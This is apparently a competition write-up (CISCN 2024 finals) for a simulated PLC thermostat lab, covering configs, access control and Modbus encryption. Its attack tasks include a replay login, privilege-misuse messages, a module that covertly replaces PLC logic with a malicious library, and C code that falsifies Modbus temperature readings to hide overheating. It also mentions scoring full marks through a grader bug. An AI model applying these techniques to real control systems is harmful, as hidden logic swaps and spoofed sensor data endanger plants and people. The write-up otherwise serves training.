CISCN2024决赛 build_wp

新手任务

commit/task_1_1

1.模拟工程师登录流程

首先在/root/2024buildup/instance/monitor/center目录下找到user.list文件,里面有登录信息


然后根据里面的user信息编译,直接登录
用zhao直接登录,因为后面题目用户大部分都是zhao,所以就直接用zhao登录


然后可以看到成功登录
sh users_login.sh


engineer_login.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"zhao:123"
}

2.模拟逻辑代码上传

填写正确的上传代码信息


logic_filename后面跟文件名
直接把 thermostat_logic.c 填上就行


上传成功
code_upload.msg

{
    "type":"PLC_ENGINEER",
    "subtype":"LOGIC_UPLOAD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "logic_filename":"thermostat_logic.c",
    "type":"FILE_CODE",
    "author":"zhao",
    "uploader":""
}

3.模拟二进制逻辑上传

删除#号

然后上传二进制逻辑,就是上传.so链接库
所以直接写libthermostat_logic.so
然后写上上传的用户:zhao

然后类型就在附录里面找就可以

然后改一下sh脚本

直接上传

可以看到对应目录下有了这个文件


bin_upload.msg

{
    "type":"PLC_ENGINEER",
    "subtype":"LOGIC_UPLOAD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "logic_filename":"libthermostat_logic.so",
    "type":"FILE_LOGIC",
    "author":"zhao",
    "uploader":"zhao"
}

4.模拟PLC逻辑启动

打开注释

运行sh脚本

看到了logic_send.log文件

在日志里面可以找到登录信息

直接补全用户名和口令就可以

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"qian:456"
}

5.模拟操作员登录行为

打开注释

然后前面已经写了operator_login.msg,直接运行sh脚本就可以


登陆成功

6.模拟操作员的一组plc操作

打开注释


打开plc温度调节开关,看plc寄存器,电热丝可以控制温度


所以plc_start.msg是

{
    "type":"PLC_OPERATOR",
    "subtype":"PLC_CMD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "action":"ON",
    "action_desc":"heating_S",
    "value":0,
    "plc_operator":"qian",
}

然后监控当前温度环境


所以plc_read_t.msg是

{
    "type":"PLC_OPERATOR",
    "subtype":"PLC_CMD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "action":"MONITOR",
    "action_desc":"curr_T",
    "plc_operator":"qian",
}

然后将plc恒温温度设置为39度(3900)


所以plc_set_t.msg为:

{
    "type":"PLC_OPERATOR",
    "subtype":"PLC_CMD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "action":"ADJUST",
    "action_desc":"set_T",
    "value":3900,
    "plc_operator":"qian"
}

运行sh脚本,成功

commit/task_1_2

重放攻击

直接替换成 login_hacker

plugin_config.cfg.task_1_2

{
        "name":"login_hacker",
        "libname":"login_hacker"
}

然后编写 engineer_login_nopass.msg
/root/2024buildup/src/security/login_hacker下的login_hacker.c里面有密码


engineer_login_nopass.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"zhao:Tclab2024"
}

commit/task_1_3

挑战-应答机制

用户端登录处理模块login_user本身具备支持挑战-应答机制的能力,直接去login_user.c找对应的mode就行

plugin_config.cfg.task_1_3

{
    "name":"msg_send",
    "libname":"msgfile_send",
}
{
    "name":"msg_print",
    "libname":"msgrecord_print",
}
{
    "name":"file_dealer",
    "libname":"file_dealer"
}
{
    "name":"login_user",
    "libname":"login_user",
    "init_para":{
        "mode":2    
    }
}
{
    "name":"logic_upload",
    "libname":"logic_upload"
}

然后把aspect_policy.cfg里面的内容写到aspect_policy.cfg.task_1_3就可以了,这里稍微改一下type那里的缩进就可以
aspect_policy.cfg.task_1_3

{
    "policy_head":
    {
        "name":"login",
         "type":"ASPECT",
         "sender":"login_user",
        "ljump": 2,
        "rjump":-2,
        "newname":"challenge_login"
    },
    "MATCH_RULES":
    [
        {
            "op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
        }
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"CONN","target_name":"center_client"},
        ]
            "response_policy":[
            {"target_type":"LOCAL","target_name":"login_user"}
            ]
    }
}

然后运行就可以了

攻击模拟任务

commit/task_2_1

越权访问

从user.list列表,找到个监控员
{
    "user_name":"sun",
    "role":"PLC_MONITOR",
    "passwd":"123",
}
然后再用一个操作员去登陆
{
    "user_name":"qian",
    "role":"PLC_OPERATOR",
    "passwd":"456",
}

然后填进去就可以,也可以根据提示和前面对应的操作来写用户
attack_login1.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"qian:456"
}

attack_cmd1.msg

{
    "type":"PLC_ENGINEER",
    "subtype":"LOGIC_UPLOAD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "logic_filename":"thermostat_logic.c",
    "type":"FILE_CODE",
    "author":"qian",
    "uploader":""
}

attack_login2.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"sun:123"
}

attack_cmd2.msg

{
    "type":"PLC_ENGINEER",
    "subtype":"LOGIC_UPLOAD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "logic_filename":"thermostat_logic.c",
    "type":"FILE_CODE",
    "author":"sun",
    "uploader":""
}

同理,可以填上操作员的
attack_login3.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"zhao:123"
}

attack_cmd3.msg

{
    "type":"PLC_OPERATOR",
    "subtype":"PLC_CMD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "action":"ADJUST",
    "action_desc":"set_T",
    "value":3900,
    "plc_operator":"zhao"
}

attack_login4.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"sun:123"
}

attack_cmd4.msg

{
    "type":"PLC_OPERATOR",
    "subtype":"PLC_CMD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "action":"ADJUST",
    "action_desc":"set_T",
    "value":3900,
    "plc_operator":"sun"
}

最后再写管理员的
attack_login5.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"zhao:123"
}

attack_cmd5.msg

{
    "type":"PLC_OPERATOR",
    "subtype":"PLC_CMD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "action":"ADJUST",
    "action_desc":"set_T",
    "value":3900,
    "plc_operator":"zhao"
}

attack_login6.msg

{
    "type":"GENERAL_RETURN",
    "subtype":"STRING",
    "mode":"INT"
}
{
    "name":"login",
    "return_value":"qian:456"
}

attack_cmd6.msg

{
    "type":"PLC_OPERATOR",
    "subtype":"PLC_CMD",
    "mode":"INT"
}
{
    "plc_devname":"thermostat",
    "action":"ADJUST",
    "action_desc":"set_T",
    "value":3900,
    "plc_operator":"qian"
}

最后运行task_2_1.sh既可


中间的回显省略了

commit/task_2_2

恶意逻辑

直接填充文件替换代码即可,把恶意逻辑文件copy到thermostat_logic目录下

system("cp -f /root/2024buildup/src/logic/hack_logic/libthermostat_logic.so"
" /root/2024buildup/src/logic/thermostat_logic");
sleep(2);

file_replace.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <limits.h>
#include <dirent.h>
#include <sys/time.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>

#include "data_type.h"
#include "cube.h"
#include "cube_define.h"
#include "cube_record.h"

#include "plc_emu.h"

extern struct timeval time_val={0,50*1000};

int file_replace_init(void * sub_proc,void * para)
{
    int ret;
    // add youself's plugin init func here
    return 0;
}

int file_replace_start(void * sub_proc,void * para)
{
    int ret;
    void * recv_msg;
    int i;
    int type;
    int subtype;


    while(1)
    {
        usleep(time_val.tv_usec);
        ret=ex_module_recvmsg(sub_proc,&recv_msg);
        if(ret<0)
            continue;
        if(recv_msg==NULL)
            continue;
        type=message_get_type(recv_msg);
        subtype=message_get_subtype(recv_msg);
        if(!memdb_find_recordtype(type,subtype))
        {
            printf("message format (%d %d) is not registered!\n",
                message_get_type(recv_msg),message_get_subtype(recv_msg));
            ex_module_sendmsg(sub_proc,recv_msg);
            continue;
        }
        if((type==DTYPE_MESSAGE)&&(subtype==SUBTYPE_CTRL_MSG))
        {
            ret=proc_ctrl_message(sub_proc,recv_msg);
            if(ret==MSG_CTRL_EXIT)
                return MSG_CTRL_EXIT;
        }
        else if((type==TYPE(PLC_ENGINEER)&&(subtype==SUBTYPE(PLC_ENGINEER,LOGIC_UPLOAD))))
        {
            ret= bin_file_replace(sub_proc,recv_msg);
        }
    }
    return 0;
};

int bin_file_replace(void * sub_proc,void * recv_msg)
{
    int type;
    int subtype;
    int i;
    int ret;

    RECORD(PLC_ENGINEER,LOGIC_UPLOAD) * bin_upload;

    ret=message_get_record(recv_msg,&bin_upload,0);
    if(ret<0)
        return ret;
    // 在这里添加文件替换代码

    system("cp -f /root/2024buildup/src/logic/hack_logic/libthermostat_logic.so"
            " /root/2024buildup/src/logic/thermostat_logic");
    sleep(2);


    //文件替换代码结束
    ex_module_sendmsg(sub_proc,recv_msg);

    return ret;
}

int proc_ctrl_message(void * sub_proc,void * message)
{
    int ret;
    int i=0;
    printf("begin proc echo \n");

    struct ctrl_message * ctrl_msg;


    ret=message_get_record(message,&ctrl_msg,i++);
    if(ret<0)
        return ret;
    if(ctrl_msg!=NULL)
    {
        ret=ctrl_msg->ctrl; 
    }

    ex_module_sendmsg(sub_proc,message);

    return ret;
}

plugin_config.cfg里面只需要加上file_replace模块就可以了
plugin_config.cfg.task_2_2

{
    "name":"msg_send",
    "libname":"msgfile_send",
}
{
    "name":"msg_print",
    "libname":"msgrecord_print",
}
{
    "name":"file_dealer",
    "libname":"file_dealer"
}
{
    "name":"login_user",
    "libname":"login_user",
    "init_para":{
        "mode":1
    }
}
{
    "name":"logic_upload",
    "libname":"logic_upload"
}
{
    "name":"file_replace",
    "libname":"file_replace"
}

然后提交的时候,没有提交aspect_policy.cfg.task_2_2就得了8分,可能是检测机制或者aspect_policy.cfg不需要替换

commit/task_2_3

modbus监听与篡改

就去读取相应的寄存器,然后读取温度,然后如果温度高于43度(4300)时,把温度更新,用4100加取模运算,使得温度一直显示在4300以下,最后再复制到相应位置即可,这样操作员和监视员看到的温度始终低于43度。

if(Buf[7] == 0x04) // read input register
              {
                UINT16  value;
                value = Buf[10]*256+Buf[9];
                if(value >4300)
                {
                      value = 4100 + value%200;
                      Memcpy(Buf+9,&value,sizeof(value));   
                }   
                          }

访问控制模拟任务

commit/task_3_1

角色验证


这里有角色验证的判断,所以我们只需要去用if语句去判断操作人是不是工程师、操作者和监控者就可以
所以先获得一下user,然后去判断就可以
role_verify.c里面添加上

db_record=memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",user_login->user_name);
    if(db_record !=NULL)
    {
        user_state=db_record->record;

        if(user_state->role == PLC_ENGINEER)
        {
            if(Strcmp(user_login->proc_name,"engineer_station")!=0)
                illegal_user=1;
        }
        else if(user_state->role == PLC_OPERATOR)
        {
            if(Strcmp(user_login->proc_name,"operator_station")!=0)
                illegal_user=1;
        }
        else if(user_state->role == PLC_MONITOR)
        {
            if(Strcmp(user_login->proc_name,"monitor_term")!=0)
                illegal_user=1;
        }
    }
plugin_config.cfg.task_3_1里面直接添加模块即可

{
    "name":"role_verify",
    "libname":"role_verify"
}
{
    "name":"msg_send",
    "libname":"msgfile_send",
}
{
    "name":"msg_print",
    "libname":"msgrecord_print",
}
{
    "name":"file_dealer",
    "libname":"file_dealer",
}
{
    "name":"login_server",
    "libname":"login_server",
}
{
    "name":"logic_store",
    "libname":"logic_store",
}
{
    "name":"recordlib",
    "libname":"recordlib"
}
{
    "name":"role_verify",
    "libname":"role_verify"
}

aspect_policy.cfg.task_3_1里面只需要加上role_verify的路由信息即可

{
    "policy_head":
    {
        "name":"login",
            "type":"ASPECT",
        "ljump":1,
            "sender":"connector_proc",
        "newname":"verify_role"
    },
    "MATCH_RULES":
    [
        {"op":"AND","type":"USER_DEFINE"},
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"role_verify"},
        ]
    }
}


拦截成功

commit/task_3_2

角色权限限制

取消角色验证,直接就非null就继续往下走,然后如果不是engineer就是illegal_user,然后第二个加上如果cmd的行为是ACTION_ADJUST就不合法
所以在role_access.c加上

db_record=memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",code_upload->author);
    if(db_record !=NULL)
    {
        user_state=db_record->record;

        if(user_state->role != PLC_ENGINEER)
        {
                illegal_user=1;
        }
    }
db_record=memdb_find_first(TYPE_PAIR(USER_DEFINE,SERVER_STATE),"user_name",plc_cmd->plc_operator);
    if(db_record !=NULL)
    {
        user_state=db_record->record;

        if(user_state->role != PLC_MONITOR)
        {
            if(plc_cmd->action == ACTION_ADJUST)
                illegal_user=1;
        }
    }

然后路由加上role_access模块即可
所以plugin_config.cfg.task_3_2直接加上

{
    "name":"role_access",
    "libname":"role_access"
}

然后aspect_policy.cfg.task_3_2添加上role_access机制,同时加到monitor_ctrl流程和code_upload流程中,所以就是下面更改的形式,与之前相同的就不在列举

{
    "policy_head":
    {
        "name":"role_access",
        "type":"QUERY",
        "sender":"connector_proc",
    },
    "MATCH_RULES":
    [
        {
            "op":"AND","type":"USER_DEFINE","subtype":"LOGIN"
        }
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"login_server"}
        ]
    }
}

{
    "policy_head":
    {
        "name":"code_upload",
            "type":"ASPECT",
            "sender":"connector_proc",
        "ljump": 1,
        "rjump":-1,
        "newname":"access_role"
    },
    "MATCH_RULES":
    [
        {
            "op":"AND","type":"PLC_ENGINEER"
        }
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"role_access"},
        ]
            "response_policy":[
            {"target_type":"LOCAL","target_name":"file_dealer"},
            {"target_type":"LOCAL","target_name":"logic_store"}
            ]
    }
}

{
    "policy_head":
    {
        "name":"monitor_ctrl",
            "type":"ASPECT",
            "sender":"connector_proc",
        "ljump": 1,
        "rjump":-1,
        "newname":"access_role"
    },
    "MATCH_RULES":
    [
        {
            "op":"AND","area":"HEAD","type":"PLC_OPERATOR","subtype":"PLC_CMD"
        }
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"role_access"},
        ]
            "response_policy":[
            {"target_type":"NAME","target_name":"operator_station"}
            ]
    }
}

commit/task_3_3

自动逻辑屏蔽

发现异常并开始主动进行温度控制时,屏蔽自动逻辑的modbus命令,直接去匹配发送的信息,然后做出判断即可
operator_shield.c里面加上

char *sender = message_get_sender(recv_msg);

    if (strcmp(sender, operator_sender) == 0) {
        subtype = message_get_subtype(recv_msg);
        if (subtype == SUBTYPE(MODBUS_CMD, WRITE_SINGLE_REGISTER) || 
            subtype == SUBTYPE(MODBUS_CMD, WRITE_MULTIPLE_REGISTERS)) {
            mode = 1;
        }
    } else if (strcmp(sender, plc_sender) == 0) {
        illegal_cmd = mode ? 1 : 0;
    }

同理,设置判断,隐蔽操作员modbus命令即可
monitor_shield.c里面加上

if (strcmp(monitor_route, msg_head->route) == 0) {
    if (plc_cmd->action == ACTION_ADJUST) {
        illegal_cmd = 0;
        mode = 1;
    }
} else if (strcmp(operator_route, msg_head->route) == 0) {
    illegal_cmd = (mode == 1) ? 1 : (mode == 0) ? 0 : illegal_cmd;
}

然后就是配置路由信息了

plugin_config.cfg.task_3_3_1里面加上

{
    "name":"operator_shield"
    "libname":"operator_shield"
}

即可
{
    "name":"modbus_slave",
    "libname":"modbus_slave",
    "init_para":{
        "slave_name":"thermostat",
        "unit_addr":1,
            "client_key":"835c706f29581763d1f1437725f7b9e4cbb026e1704b0afe8efbf9f0df015e08"
    }
}
{
    "name":"modbus_channel",
    "libname":"modbus_channel",
    "init_para":{
        "mode":"SERVER",
        "tcp_addr":"127.0.0.1",
        "tcp_port":1506,
        "unit_addr":1,
    }
}
{
    "name":"device",
    "libname":"thermostat_device",
    "init_para":{
        "default_target":"4200",
        "environment_T":"2300",
    }
}
{
    "name":"logic",
    "libname":"thermostat_logic",
}
{
    "name":"operator_shield"
    "libname":"operator_shield"
}

然后将operator_shield模块写入路由中
aspect_policy.cfg.task_3_3_1

{
    "policy_head":
    {
        "name":"logic_send",
        "type":"ASPECT",
        "sender":"logic",
        "ljump":1,
        "newname":"operator_shield_logic_aspect"
    },
    "MATCH_RULES":
    [
        {
            "op":"AND","type":"MODBUS_CMD"
        }
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"operator_shield"},
        ]
    }
}

{
    "policy_head":
    {
        "name":"command_exec",
        "type":"ASPECT",
        "sender":"modbus_slave",
        "ljump":2,
        "newname":"operator_shield_exec_aspect"
    },
    "MATCH_RULES":
    [
        {
            "op":"AND","type":"MODBUS_CMD"
        }
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"operator_shield"},
        ]
    }
}
同理:
plugin_config.cfg.task_3_3_2
加上
{
    "name":"monitor_shield",
    "libname":"monitor_shield"
}

aspect_policy.cfg.task_3_3_2

{
    "policy_head":
    {
        "name":"operator_cmd",
            "type":"ASPECT",
        "ljump":1,
            "sender":"connector_proc",
        "newname":"operator_aspect"
    },
    "MATCH_RULES":
    [
        {"op":"AND","type":"PLC_OPERATOR"},
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"monitor_shield"}
        ]
    }
}

{
    "policy_head":
    {
        "name":"monitor_ctrl",
            "type":"ASPECT",
        "ljump":1,
            "sender":"connector_proc",
        "newname":"monitor_aspect"
    },
    "MATCH_RULES":
    [
        {"op":"AND","type":"PLC_OPERATOR"},
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"monitor_shield"}
        ]
    }

}

密码保护模拟任务

commit/task_4_1

工程师签名上传

搜先设置好库


然后根据以上要求等设置条件,直接写c文件

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <limits.h>
#include <dirent.h>
#include <sys/time.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/socket.h>


#include "data_type.h"
#include "cube.h"
#include "cube_define.h"
#include "cube_record.h"
#include "file_struct.h"
#include "sm2.h"
#include "sm2sign.h"



int mode =0;
BYTE prikey[DIGEST_SIZE*2];
BYTE pubkey_XY[64];
unsigned long prilen=DIGEST_SIZE*2;
char * prikeyfile=NULL;
char * pubkeyfile=NULL;
BYTE Buf[DIGEST_SIZE*16];


int sm2sign_init(void * sub_proc,void * para)
{
    int ret;
    // add youself's plugin init func here
        struct init_struct * init_para=para;
        if(para==NULL)   
        return -EINVAL;

    mode=init_para->mode;

    if(mode==0)
    {

            ret=GM_GenSM2keypair(prikey,&prilen,pubkey_XY);
            if(ret!=0)
                    return -EINVAL;
    }
    return 0;
}

int sm2sign_start(void * sub_proc,void * para)
{
    int ret;
    void * recv_msg;
    int i;
    int type;
    int subtype;


    while(1)
    {
        usleep(time_val.tv_usec);
        ret=ex_module_recvmsg(sub_proc,&recv_msg);
        if(ret<0)
            continue;
        if(recv_msg==NULL)
            continue;

        type=message_get_type(recv_msg);
        subtype=message_get_subtype(recv_msg);
        if(type==NULL)
        {
            message_free(recv_msg);
            continue;
        }
        if(!memdb_find_recordtype(type,subtype))
        {
            print_cubeerr("message format (%d %d) is not registered!\n",
                message_get_type(recv_msg),message_get_subtype(recv_msg));
            ex_module_sendmsg(sub_proc,recv_msg);
            continue;
        }
        if((type==TYPE(MESSAGE)) && (subtype==SUBTYPE(MESSAGE,BASE_MSG)))
        {
            if(mode==0)
                proc_pubkey_send(sub_proc,recv_msg);
            else if(mode==1)
                proc_pubkey_recover(sub_proc,recv_msg);
        }
        else if((type==TYPE(FILE_TRANS)) && (subtype==SUBTYPE(FILE_TRANS,FILE_DATA)))
        {
            if(mode==1)
            {
                proc_sessionkey_gen(sub_proc,recv_msg);
            }
            else if(mode==0)
            {
                proc_sessionkey_recover(sub_proc,recv_msg);
            }
        }
    }
    return 0;
}

int proc_pubkey_send(void * sub_proc,void * message)
{
        int i;
        int ret=0;
    RECORD(MESSAGE,BASE_MSG) * base_msg;

    RECORD(GENERAL_RETURN,BINDATA) * pubkeydata;

    ret=message_get_record(message,&base_msg,0);
    if(ret<0)
        return ret;
    else if (base_msg==NULL)
        return -EINVAL;

    if(Strncmp(base_msg->message,"sendkey",DIGEST_SIZE)!=0)
        return 0;

    pubkeydata = Talloc0(sizeof(*pubkeydata));
    if(pubkeydata==NULL)
        return -ENOMEM;
    pubkeydata->name=dup_str("pubkeydata",0);
    pubkeydata->size=64;
    pubkeydata->bindata=Talloc0(64);
    Memcpy(pubkeydata->bindata,pubkey_XY,64);

    message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,BINDATA),pubkeydata); 

        ret=ex_module_sendmsg(sub_proc,message);
        return ret;
}

int proc_pubkey_recover(void * sub_proc,void * message)
{
    int ret=1;
    int i;
    RECORD(MESSAGE,BASE_MSG) * base_msg;
    MSG_HEAD* msghead;
    MSG_EXPAND * msg_expand;
    RECORD(GENERAL_RETURN,BINDATA) * pubkeydata=NULL;

    ret=message_get_record(message,&base_msg,0);
    if(ret<0)
        return ret;
    else if (base_msg==NULL)
        return -EINVAL;

    if(Strncmp(base_msg->message,"sendkey",DIGEST_SIZE)!=0)
        return 0;

    pubkeydata = Talloc0(sizeof(*pubkeydata));
    if(pubkeydata==NULL)
        return -ENOMEM;
    msghead= message_get_head(message);
    if(msghead==NULL)
        return -EINVAL;

    for(i=0;i<msghead->expand_num;i++)
    {
        ret=message_get_expand(message,&msg_expand,i);
        if(msg_expand==NULL)
            return -EINVAL;
        if((msg_expand->type==TYPE(GENERAL_RETURN)) &&
            (msg_expand->subtype==SUBTYPE(GENERAL_RETURN,BINDATA)))
        {
            pubkeydata=msg_expand->expand;
            if(pubkeydata==NULL)
                continue;
            if(Strcmp(pubkeydata->name,"pubkeydata"))
            {
                pubkeydata=NULL;
                continue;
            }       
            else
            {
                ret= message_remove_indexed_expand(message,i,&msg_expand);
                pubkeydata=msg_expand->expand;
                Memcpy(pubkey_XY,pubkeydata->bindata,pubkeydata->size);
                break;
            }
        }
    }       
    return ret;
}

int proc_sessionkey_gen(void * sub_proc,void * message)
{
        int i;
        int ret;

    RECORD(GENERAL_RETURN,BINDATA) * keyblob;
    RECORD(GENERAL_RETURN,UUID) * sessionkey;

    keyblob = Talloc0(sizeof(*keyblob));
    if(keyblob==NULL)
        return -ENOMEM;

    sessionkey = Talloc0(sizeof(*sessionkey));
    if(keyblob==NULL)
        return -ENOMEM;

    ret=RAND_bytes(sessionkey->return_value,DIGEST_SIZE);

    int Enclen=DIGEST_SIZE*16;
    ret=GM_SM2Encrypt(Buf,&Enclen,sessionkey->return_value,DIGEST_SIZE,pubkey_XY,64);
    if(ret!=0)
    {
        print_cubeerr("Sm2 Encrypt sessionkey failed!");
        return -EINVAL;
    }

    keyblob->name=dup_str("sessionkeyblob",0);
    keyblob->size=Enclen;
    keyblob->bindata=Talloc0(Enclen);
    Memcpy(keyblob->bindata,Buf,Enclen);

    message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,BINDATA),keyblob); 

    sessionkey->name=dup_str("sessionkey",0);

    message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,UUID),sessionkey); 

        ex_module_sendmsg(sub_proc,message);
        return ret;
}

int proc_sessionkey_recover(void * sub_proc,void * message)
{
        int i;
        int ret;

    MSG_HEAD* msghead;
    MSG_EXPAND * msg_expand;
    RECORD(GENERAL_RETURN,BINDATA) * keyblob=NULL;
    RECORD(GENERAL_RETURN,UUID) * sessionkey=NULL;

    msghead= message_get_head(message);
    if(msghead==NULL)
        return -EINVAL;

    for(i=0;i<msghead->expand_num;i++)
    {
        ret=message_get_expand(message,&msg_expand,i);
        if(msg_expand==NULL)
            return -EINVAL;
        if((msg_expand->type==TYPE(GENERAL_RETURN)) &&
            (msg_expand->subtype==SUBTYPE(GENERAL_RETURN,BINDATA)))
        {
            keyblob=msg_expand->expand;
            if(keyblob==NULL)
                continue;
            if(Strcmp(keyblob->name,"sessionkeyblob"))
            {
                keyblob=NULL;
                continue;
            }       
            else
            {
                // recover the sessionkey
                sessionkey=Talloc0(sizeof(*sessionkey));
                if(sessionkey==NULL)
                    return -ENOMEM;
                ret= message_remove_indexed_expand(message,i,&msg_expand);
                keyblob=msg_expand->expand;

                int Enclen=DIGEST_SIZE*16;
                ret=GM_SM2Decrypt(Buf,&Enclen,keyblob->bindata,keyblob->size,prikey,prilen);
                if(ret!=0)
                {
                    print_cubeerr("decrypt session key failed!\n");
                    return -EINVAL;
                }
                if(Enclen!=DIGEST_SIZE)
                {
                    print_cubeerr("session key size error!\n");
                    return -EINVAL;
                }

                Memcpy(sessionkey->return_value,Buf,Enclen);
                sessionkey->name=dup_str("sessionkey",0);
                message_add_expand_data(message,TYPE_PAIR(GENERAL_RETURN,UUID),sessionkey); 

                break;
            }
        }
    }

        ex_module_sendmsg(sub_proc,message);
        return ret;
}
plugin_config.cfg.task_4_1里面加上

{
    "name":"sm2sign",
    "libname":"sm2sign"
}
即可
{
    "name":"msg_send",
    "libname":"msgfile_send",
}
{
    "name":"msg_print",
    "libname":"msgrecord_print",
}
{
    "name":"file_dealer",
    "libname":"file_dealer",
}
{
    "name":"logic_store",
    "libname":"logic_store"
}
{
    "name":"plc_upload",
    "libname":"plc_upload"
}

{
    "name":"sm2sign",
    "libname":"sm2sign"
}

然后aspect_policy.cfg.task_4_1_1写个二进制文件上传的就可以

{
    "policy_head":
    {
        "name":"bin_upload",
            "type":"DUP",
        "ljump":4,
            "sender":"plc_upload",
        "newname":"verify_bin_upload"
    },
    "MATCH_RULES":
    [
        {"op":"AND","type":"PLC_ENGINEER"},
    ],

    "ROUTE_RULES":
    {

        "main_policy":[
            {"target_type":"NAME","target_name":"verify_proxy"}
        ]

    }
}

这个题目检测应该是有bug,直接传这三个文件既就可以得到满分了

commit/task_4_2

modbus数据加密

operator/station端加密位置建议在modbus_channel与modbus_master端之间,
plc/device端加密位置建议在modbus_channel和modbus_slave端之间
slave.list中的slave_key与key.list中的return_value是一样的
基于这一秘密,使用算法进行加密
所以只要选好加密位置,使用函数进行加密解密,再进行memcpy即可
加密算法

print_cubeerr("crypt:%x\n",key[0]);

    zuc_generate_keystream(&zuc_state,segment_size/4,key_buf);

    gmssl_memxor(zuc_buf,modbus_datagram->data,key_buf,
            modbus_datagram->datasize);
    Memcpy(modbus_datagram->data,zuc_buf,modbus_datagram->datasize);

解密算法

print_cubeerr("decrypt:%x\n", key[0]);

    zuc_generate_keystream(&zuc_state, segment_size / 4, key_buf);

    gmssl_memxor(
        zuc_buf, 
        modbus_datagram->data, 
        key_buf, 
        modbus_datagram->datasize
    );
    memcpy(
        modbus_datagram->data, 
        zuc_buf, 
        modbus_datagram->datasize
    );

所以modbus_zuc_crypt.c文件补充上这个就行

然后解密的模块加上

{
    "name":"modbus_zuc_crypt",
    "libname":"modbus_zuc_crypt",
    "init_para":{
        "mode":1,
    }
}

所以plugin_config.cfg.task_4_2_1为:

{
    "name":"modbus_channel",
    "libname":"modbus_channel",
    "init_para":{
        "mode":"CLIENT",
        "tcp_addr":"127.0.0.1",
            "tcp_port":1504,
            "unit_addr":1
    }
}
{
    "name":"modbus_master",
    "libname":"modbus_master",
    "init_para":{
        "master_name":"operator",
    }
}

{
    "name":"msg_send",
    "libname":"msgfile_send",
}
{
    "name":"msg_print",
    "libname":"msgrecord_print",
}

{
    "name":"login_user",
    "libname":"login_user",
    "init_para":
    {
        "mode":1
    }
}
{
    "name":"cmd_process",
    "libname":"cmd_process"
}
{
    "name":"audit_store",
    "libname":"audit_store"
}
{
    "name":"audit_query",
    "libname":"audit_query"
}
{
    "name":"operator_probe",
    "libname":"operator_probe"
}

{
    "name":"modbus_zuc_crypt",
    "libname":"modbus_zuc_crypt",
    "init_para":{
        "mode":1,
    }
}

然后写上路由即可
aspect_policy.cfg.task_4_2_1

{
    "policy_head":
    {
        "name":"command_response",
            "type":"ASPECT",
        "ljump":1,
            "sender":"modbus_channel",
        "newname":"decrypt_zuc_crypt"
    },
    "MATCH_RULES":
    [
        {"op":"AND","type":"MODBUS_TCP"},
    ],
    "ROUTE_RULES":
    {
        "main_policy":[
            {"target_type":"LOCAL","target_name":"modbus_zuc_crypt"}
        ]
    }
}
同理:
plugin_config.cfg.task_4_2_2
补充上:
{
    "name":"modbus_zuc_crypt",
    "libname":"modbus_zuc_crypt",
    "init_para":{
        "mode":0,
    }
}

然后整理为

{
    "name":"modbus_slave",
    "libname":"modbus_slave",
    "init_para":{
        "slave_name":"thermostat",
        "unit_addr":1,
            "client_key":"835c706f29581763d1f1437725f7b9e4cbb026e1704b0afe8efbf9f0df015e08"
    }
}
{
    "name":"modbus_channel",
    "libname":"modbus_channel",
    "init_para":{
        "mode":"SERVER",
        "tcp_addr":"127.0.0.1",
        "tcp_port":1506,
        "unit_addr":1,
    }
}
{
    "name":"device",
    "libname":"thermostat_device",
    "init_para":{
        "default_target":"4200",
        "environment_T":"2300",
    }
}
{
    "name":"logic",
    "libname":"thermostat_logic",
}

{
    "name":"modbus_acl",
    "libname":"modbus_acl",
}

{
    "name":"modbus_zuc_crypt",
    "libname":"modbus_zuc_crypt",
    "init_para":{
        "mode":0,
    }
}

同理aspect_policy.cfg.task_4_2_2

{
    "policy_head":
    {
        "name":"command_exec",
            "type":"ASPECT",
